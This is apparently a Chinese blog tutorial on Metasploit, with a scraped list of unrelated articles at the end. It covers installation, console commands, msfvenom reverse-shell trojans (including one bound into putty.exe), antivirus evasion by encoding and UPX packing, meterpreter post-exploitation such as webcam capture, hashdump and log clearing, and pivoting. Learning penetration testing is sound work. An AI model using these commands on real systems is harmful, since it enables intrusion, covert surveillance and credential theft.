0.Metasploit简介

Metasploit是一款开源的渗透测试框架平台,到目前为止,msf已经内置了数千个已披露的漏洞相关的模块和渗透测试工具,模块使用ruby语言编写,这使得使用者能够根据需要对模块进行适当修改,甚至是调用自己写的测试模块。选定需要使用的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用,将渗透的过程自动化、简单化。

1.Metasploit安装

Windows平台

首先从官方网站下载安装程序:

http://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe

默认端口:3650

关闭杀毒软件后以管理员身份运行安装程序,安装过程会附带安装PostgreSQL数据库用以存储metasploit内各模块,载荷等索引,加快搜索速度

安装完成后,在桌面生成Metasploit的快捷方式,右键以管理员身份运行将打开cmd并运行Metasploit控制台

Windows下启动Metasploit时加载时间较长,若无反应请耐心等待3-5分钟

Windows平台上,Metasploit还提供了Web访问界面,实现图形化的操作

Linux平台

从github获取

git clone https://github.com/rapid7/metasploit-framework.git

切换到metasploit-framework目录,赋予msfconsol执行权限并启动

cd metasploit-framework && chmod +x msfconsole && ./msfconsole

使用以下命令下载一键式安装程序,具体安装进度试网络情况

cd /opt &&  curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && ./msfinstall

Kali Linux自带了Metasploit以及自动化渗透工具Armitage

Android平台

安卓安装Metasploit实际上是先在安卓上安装一个linux子系统,然后再在此基础上安装Metasploit,虽然过程复杂繁琐,但在企业网络环境下进行渗透测时,拎着一台笔记本接入网络也许会太过显眼,这种情况下在安卓手机或平板上安装Metasploit也不失为一种选择

前提:安卓手机或平板需要root权限

通常选择安装Termux作为基本环境,启动后会联网下载系统,具体时间视网络环境长短不一,所以你可以选择在这时候睡个午觉什么的 =.=#

Termux使用apt包管理器,执行以下命令更新

apt-get update && apt-get upgrade -y && apt dist-upgrade -y

接下来的安装Metasploit和上述linux平台安装相同

2.使用Metasploit进行渗透测试

Terminal下msf常用命令简介

msfdb init          					msf数据库初始化
apt install metasploit framework msf更新
msfVENOM 多平台攻击载荷生成器
msf-nasm_shell 将汇编指令转换成为对应的16进制机器码
msfconsole 打开msf终端

msf终端下常用命令简介

db_status           查看数msf据库连接状态,连接数据库能够优化搜索等过程

db_rebuild_cache    重建缓存,将模块等索引重新存入数据库

db_nmap             调用nmap扫描,并将扫描结果存入数据库

help [db_connect]   显示命令的帮助信息

search [module]     搜索含有关键字的模块

use [module]        选择使用一个模块(以ms17_010永恒之蓝为例)

show payload        显示该模块支持的payload

show options        显示该模块需要设置的参数(其中required为no的表示不是必须的参数)

info                如果觉得show命令显示的不够完整可以直接输入info查看详细详细

set [opt]           使用模块后,设置模块所需要的参数的值(对应使用unset取消设置的值)

setg [opt]          设置全局参数,对于ip之类的参数可以设置为全局,当切换模块后就不需要再次设置ip参数(对应使用unsetg取消设置)

back                返回上级状态

exploit/run         两个命令都表示运行攻击模块

sessions            查看当前连接的会话

3.使用msfvenom生成木马文件

t关于payload的选择,出于防火墙等多种原因,目标主机上可能会限制外网对内网一些端口的访问,甚至是只开放一些端口然后关闭其他所有端口。在这种情况下,让目标主机回连攻击者成为更好的一种选择,这种模式相当于目标主机自己发出一个对外的连接请求,属于正常的流量,因此可以绕过安全设置,所以在选择payload时普遍选择使用带reverse的payload。

一般32位使用windows/meterpreter_reverse_tcp 而64位的使用windows/x64/meterpreter_reverse_tcp。当然仍然需要根据不同的需求选择不同的载荷

查看可使用的载荷/编码器/nops/所有列表

msfvenom -l payload/encoders/nops/all

查看可生成的木马文件格式,使用-f 指定木马格式

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -a x64 -f exe -o backdoor_raw.exe

生成安卓木马

msfvenom -p android/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -o backdoor_raw.apk

msf终端监听会连回话

use exploit/multi/handler           该模块用于接收回连会话,一般只需要设置监听主机和端口号

4.木马免杀

使用多个编码器混合进行多重编码

不推荐使用,免杀率低,编码时间长,且生成的木马可能会出现无法运行或运行后无法回连到攻击端的情况

"-f raw" 表示生成原始木马,这种通过管道生成的木马只需要不断传递,所以只需要在最后一条命令指定生成的格式,而在此之前都应该使用raw的原始木马

捆绑到正常文件中

推荐使用,捆绑木马到正常文件后能够使用户放松警惕,因此在实际生活中,我们应该注意比对文件与官方提供的hash值

选择捆绑目标时,有可能出现捆绑后无法运行的情况,这种情况下可以尝试使用编码器,或者更换捆绑目标,这里以putty作为例子

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -x putty.exe -k -f exe -o backdoor_putty.exe

加壳

推荐使用,加壳技术能够一定程度上绕过杀软的检测,这里使用linux上普遍使用的upx加壳为例,windows上加壳的工具也有许多,可自行选择

upx -5 backdoor_raw.elf -5 表示压缩等级(1-9),详细命令参考upx -h

上述方法综合使用

附上一个在线检测木马的网站: http://www.virscan.org/

捆绑到正常文件中

推荐使用,捆绑木马到正常文件后能够使用户放松警惕,因此在实际生活中,我们应该注意比对文件与官方提供的hash值

选择捆绑目标时,有可能出现捆绑后无法运行的情况,这种情况下可以尝试使用编码器,或者更换捆绑目标,这里以putty作为例子

加壳

推荐使用,加壳技术能够一定程度上绕过杀软的检测,这里使用linux上普遍使用的upx加壳为例,windows上加壳的工具也有许多,可自行选择

upx -5 backdoor_raw.elf -5 表示压缩等级(1-9),详细命令参考upx -h

上述方法综合使用

附上一个在线检测木马的网站: http://www.virscan.org/

5.meterpreter后渗透利用

通过exploit/multi/handler模块监听,并与目标主机建立连接后,能够使用meterpreter进行后渗透利用

pwd                 打印当前工作目录

sysinfo             查看系统信息

ps                  查看当前目标机上运行的进程列表和pid

webcam_snap         调用相机拍摄照片(使用webcam_stream能够通过浏览器模拟录像机,实现实时监控)

run vnc             运行vnc远程查看屏幕(run screen_unlock实现远程控制)

run post/windows/manage/enable_rdp          如果目标主机是windows系统,使用该命令开启目标的远程桌面3389

screenshot          截取目标主机当前屏幕

getuid              获取当前权限的用户id

getsystem           获取system权限

hashdump            获取用户名与hash口令

shell               获取目标主机shell(windows环境下中文乱码的解决办法:chcp 65001

Ctrl+Z              退出shell模式,返回到meterpreter

upload              上传一个文件

download            下载一个文件

excute              执行目标系统中的文件(-f 指定文件,-i执行可交互模式,-H隐藏窗口)

clearev             清除日志

background          将Meterpreter放入后台(使用session -i重新连接到会话)

6.Meterpreter进行内网渗透简介

在渗透过程中,当你拿到一台能够连接公网的的主机的权限时,这台主机可能还连接着一个内部的局域网络,而且这个局域网内的其他主机没有对外访问的权限。这是一种很常见的局域网模式,通常一些无法连接外网的主机内可能存放着一些敏感文件,此时可以通过以及控制的那台主机作为攻击者访问内网的跳板,用来实施对内网的渗透

添加到达内网的路由

run get_local_subnets           		获取目标主机上的子网状态,其中192.168.16.0和攻击机在同一个网段,169.254.0.0是vritualbox的内部网卡模式

run autoroute -s 169.254.0.0/16 1        使用autoroute模块添加到达内网的路由经session 1转发

run autoroute -p                         查看当前的路由表,可以看到发往169.254.0.0网段的流量都将通过session 1转发

接下来就可以在msf下使用db_nmap扫描内网存活主机,针对内网的开放端口进行攻击
portfwd端口转发
端口转发能够将内网端口转发到本地主机的端口,相当于virtualbox的端口映射功能。
portfwd -h 查看帮助信息 portfwd add -l 7070 -r 192.168.16.59 -p 3389 将目标主机192.168.16.59的3389转发到本地主机的7070端口 rdesktop 127.0.0.1:7070 端口转发成功后就可以从本地端口连接rdp

参考书籍《Metasploit The Penetration Tester's Guide.》《Metasploit渗透测试指南(修订版)》

Metasploit入门教程的更多相关文章

  1. CTF必备技能丨Linux Pwn入门教程——ShellCode

    这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>> Linu ...

  2. wepack+sass+vue 入门教程(三)

    十一.安装sass文件转换为css需要的相关依赖包 npm install --save-dev sass-loader style-loader css-loader loader的作用是辅助web ...

  3. wepack+sass+vue 入门教程(二)

    六.新建webpack配置文件 webpack.config.js 文件整体框架内容如下,后续会详细说明每个配置项的配置 webpack.config.js直接放在项目demo目录下 module.e ...

  4. wepack+sass+vue 入门教程(一)

    一.安装node.js node.js是基础,必须先安装.而且最新版的node.js,已经集成了npm. 下载地址 node安装,一路按默认即可. 二.全局安装webpack npm install ...

  5. Content Security Policy 入门教程

    阮一峰文章:Content Security Policy 入门教程

  6. gulp详细入门教程

    本文链接:http://www.ydcss.com/archives/18 gulp详细入门教程 简介: gulp是前端开发过程中对代码进行构建的工具,是自动化项目的构建利器:她不仅能对网站资源进行优 ...

  7. UE4新手引导入门教程

    请大家去这个地址下载:file:///D:/UE4%20Doc/虚幻4新手引导入门教程.pdf

  8. ABP(现代ASP.NET样板开发框架)系列之2、ABP入门教程

    点这里进入ABP系列文章总目录 基于DDD的现代ASP.NET开发框架--ABP系列之2.ABP入门教程 ABP是“ASP.NET Boilerplate Project (ASP.NET样板项目)” ...

  9. webpack入门教程之初识loader(二)

    上一节我们学习了webpack的安装和编译,这一节我们来一起学习webpack的加载器和配置文件. 要想让网页看起来绚丽多彩,那么css就是必不可少的一份子.如果想要在应用中增加一个css文件,那么w ...

随机推荐

  1. 从mysql8.0读取数据并形成pandas dataframe类型数据,精确定位行列式中的元素,并读取

    from pandas import * import pandas as pd from sqlalchemy import create_engine engine = create_engine ...

  2. Codeforces Round #346 (Div. 2) C题

    C. Tanya and Toys In Berland recently a new collection of toys went on sale. This collection consist ...

  3. addBack() 添加堆栈中元素集合到当前集合,一个选择性的过滤选择器。

    addBack() 概述 添加堆栈中元素集合到当前集合,一个选择性的过滤选择器. 如上所述在讨论中的.end(), jQuery对象维护一个堆栈内部来跟踪匹配的元素集合的变化.当一个DOM遍历方法被调 ...

  4. JAVA图形小动画之简单行星运动

    //第一个java文件thread_star.java: package solarsystem; import java.awt.Color;import java.awt.Graphics;imp ...

  5. Gym 100548F Color 给花染色 容斥+组合数学+逆元 铜牌题

    Problem F. ColorDescriptionRecently, Mr. Big recieved n flowers from his fans. He wants to recolor th ...

  6. [CTS2019]田野(80分)

    loj嘟嘟嘟 学完模拟退火后开始搞这道题,搞了一下午最终搞到了80分,剩下的实在不知道怎么办了-- 首先肯定是把有交点的线段划分到一个集合,然后对每一个集合求一遍凸包. 然后两两合并,如果新的凸包的周 ...

  7. jquery-常用事件

  8. jQuery系列(十一):jQuery的事件绑定和解绑

    1.绑定事件 语法: bind(type,data,fn) 描述:为每一个匹配元素的特定事件(像click)绑定一个事件处理器函数. 参数解释: type (String) : 事件类型 data ( ...

  9. luogu2634

    P2634 [国家集训队]聪聪可可 题目描述 聪聪和可可是兄弟俩,他们俩经常为了一些琐事打起来,例如家中只剩下最后一根冰棍而两人都想吃.两个人都想玩儿电脑(可是他们家只有一台电脑)……遇到这种问题,一 ...

  10. ubuntu彻底卸载mysql并且重新安装

    环境: root@ubuntu:/usr/local/mysql/data# uname -a Linux ubuntu 4.4.0-87-generic #110-Ubuntu SMP Tue Ju ...